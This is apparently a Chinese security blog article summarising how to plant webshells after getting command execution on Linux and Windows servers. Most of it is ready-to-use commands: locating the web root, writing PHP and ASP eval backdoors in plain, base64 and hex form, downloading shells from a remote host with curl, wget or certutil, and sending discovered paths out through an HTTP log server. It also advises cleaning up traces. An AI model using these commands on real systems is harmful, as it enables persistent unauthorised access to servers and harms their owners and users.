命令执行之文件落地利用总结

简介: 命令执行之文件落地利用总结

0x01 前言

利用各类RCE远程命令执行或MSSQL注入等漏洞获取到一个能够执行命令的权限后该如何写入Webshell?这里我们根据可能会遇到的多个场景进行了一些测试,如:Linux/Windows,出/不出网、有/无回显。


一般我们在确定能够执行命令时都会选择直接上线CS/MSF,但也会遇到那种不出网、无回显的场景,这时可能就需要找到目标网站的绝对路径先写入一个Webshell,然后再进行后续的信息搜集及内网渗透等。


注:我们可以通过在网站前/后台的上传功能随便传一个文件,然后再利用Windows的for或Linux的while等命令来查找刚上传的文件,或网站下已存在的文件得到绝对路径,最后再写入文件即可,继续往下看。


0x02 Linux

(1) 目标出网,命令有回显

如果目标主机可以出网,并且执行命令有回显,这时我们就可以直接通过执行以下命令来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。


查找绝对路径:

    locate 1653042293000.png 2>/dev/null
    find / -name 1653042293000.png 2>/dev/null
    find / | grep 1653042293000.png 2>/dev/null
    find /var/www/html/ -name "*.php" | xargs grep "某某网站"


    常规方式写入:

      echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php


      远程下载写入:

        curl http://192.168.1.120/shell.txt > /var/www/html/shell.php
        wget http://192.168.1.120/shell.txt -O /var/www/html/shell.php


        (2) 目标出网,命令无回显

        如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令使用httplog方式来获取目标网站的绝对路径,然后再利用以下方式写入Webshell,需转义或有防护时可尝试编码方式写入。


        查找绝对路径:

          python -m SimpleHTTPServer 8888
          curl http://192.168.1.120:8888/`find / | grep 1653042293000.png`
          wget http://192.168.1.120:8888/`find / | grep 1653042293000.png`


          编码方式写入:

            echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php
            echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php


            (3) 目标不出网,命令无回显

            如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令先遍历出1653042293000.png文件的绝对路径,然后再次遍历该文件绝对路径,或者将Webshell写入到该文件同级目录下。


            实战应用中最好是先确定目标网站的绝对路径,然后单独写入Webshell,最好不要直接使用第二条命令,因为如果目标主机上有同名文件时则会往找到的多个绝对路径下写入文件,到时还要注意清理痕迹


            查找绝对路径写入至web目录:

              find / -name 1653042293000.png | while read f;do sh -c 'find / -name 1653042293000.png' >$(dirname $f)/path.txt;done


              查找绝对路径写入Webshell:

                find / -name 1653042293000.png | while read f;do sh -c "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d">$(dirname $f)/shell.php;done
                find / -name 1653042293000.png | while read f;do sh -c "echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps">$(dirname $f)/shell.php;done


                0x03 Windows

                (1) 目标出网,命令有回显

                如果目标主机可以出网,并且执行命令有回显,这时我们可以通过执行dir、where、for、finstr等命令,或读取IIS配置文件等方式来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。


                查找绝对路径:

                  dir /a/b/s C:\1653042293000.png
                  where /r C:\1653042293000.png
                  for /r "C:\" %i in (1653042293000.png*) do @echo %i
                  findstr /n /s /i "某某网站" C:\*.asp
                  %windir%\system32\inetsrv\appcmd list VDIR


                  常规方式写入:

                    set /p="<%execute request("1")%>" <nul >> C:\inetpub\wwwroot\shell.asp
                    echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp
                    certutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:\inetpub\wwwroot\shell.asp


                    (2) 目标出网,命令无回显

                    如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令在指定的C盘中循环查找1653042293000.png文件,将找到的文件绝对路径保存在%i变量,然后执行certutil通过httplog方式来获取目标网站的绝对路径,或者直接写入Webshell,需转义或有防护时可尝试编码方式写入,需清理shell.txt。


                    查找绝对路径:

                      python -m SimpleHTTPServer 8888
                      for /r C:\ %i in (1653042293000.png*) do certutil -urlcache -split -f http://192.168.1.120:8888/%i


                      常规方式写入:

                        for /r C:\ %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp


                        编码方式写入:


                        for /r C:\ %i in (1653042293000.png*) do echo PCVleGVjdXRlIHJlcXVlc3QoIjEiKSU+ > %i/../shell.txt & certutil -decode %i/../shell.txt %i/../shell.asp
                        for /r C:\ %i in (1653042293000.png*) do echo 3C256578656375746520726571756573742822312229253E > %i/../shell.txt & certutil -decodehex %i/../shell.txt %i/../shell.asp


                        (3) 目标不出网,命令无回显

                        如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令将找到的1653042293000.png文件绝对路径,或者将Webshell写入到该文件同级目录下,需转义或有防护时可尝试编码方式写入。


                        两条命令虽然看起来差不多,但第一条执行效率要高一些,因为在命令执行过程中就已经写入了,第二条得在命令执行完成后才会写入,所以个人推荐使用第一种,注意清理同名文件路径下的痕迹。


                        查找绝对路径写入至web目录:

                          for /r C:\ %i in (1653042293000.png*) do echo %i> %i\..\path.txt
                          for /f %i in ('dir /s /b C:\1653042293000.png') do echo %i> %i\..\path.txt
                          forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c dir /a/b/s C:\1653042293000.png > path.txt"
                          


                          查找绝对路径写入Webshell:

                            for /r C:\ %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp
                            for /f %i in ('dir /s /b C:\1653042293000.png') do echo ^<%execute request("1")%^> > %i/../shell.asp
                            forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c echo ^<%execute request("1")%^> > shell.asp"


                            文末总结:

                            这篇文章我将找绝对路径方式分为3种:命令查找(有回显)、httplog外带(无回显)、写进Web目录(不出网),写文件方式也分为3种:常规写入、编码写入、远程下载。Linux、Windows利用方式都一样,只是命令不一样,都是根据文件名、文件内容找绝对路径,常见文件写入、下载方式进行Getshell。

                            相关文章
                            |
                            安全 NoSQL API
                            【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
                            YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
                            3289 1
                            |
                            移动开发 安全
                            泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现
                            泛微e-office OfficeServer2.php 存在任意文件读取漏洞,攻击者可通过构造特定Payload获取敏感数据信息。
                            932 0
                            在鸿蒙开发中实现自定义进度条
                            前些天发现一个问题,鸿蒙官方的进度条组件Progress虽然提供了比较丰富的功能,但是有时候还是不能满足开发的需要。
                            |
                            API Docker 容器
                            jumpserver API调试
                            jumpserver API调试
                            Open3D File Io 文件IO
                            Open3D File Io 文件IO
                            192 1
                            |
                            监控 Linux Docker
                            关于小白如何从0开始使用Windows中的docker制作一道自己的ctf题
                            关于小白如何从0开始使用Windows中的docker制作一道自己的ctf题
                            |
                            安全 编译器 Shell
                            后渗透之windows中无文件落地执行方法
                            后渗透之windows中无文件落地执行方法
                            |
                            Shell Linux C语言
                            Linux中执行Shell的函数(popen,system,exec)介绍:分享一些常用的执行Shell的函数及其相关编程技巧和经验
                            Linux中执行Shell的函数(popen,system,exec)介绍:分享一些常用的执行Shell的函数及其相关编程技巧和经验
                            596 0
                            |
                            XML JavaScript 前端开发
                            Web 扫描神器:WhatWeb 保姆级教程(附链接)
                            Web 扫描神器:WhatWeb 保姆级教程(附链接)
                            |
                            安全 网络安全 数据安全/隐私保护
                            【网络安全 | 密码学】密码字典生成工具crunch、cupp安装使用教程
                            【网络安全 | 密码学】密码字典生成工具crunch、cupp安装使用教程
                            1292 0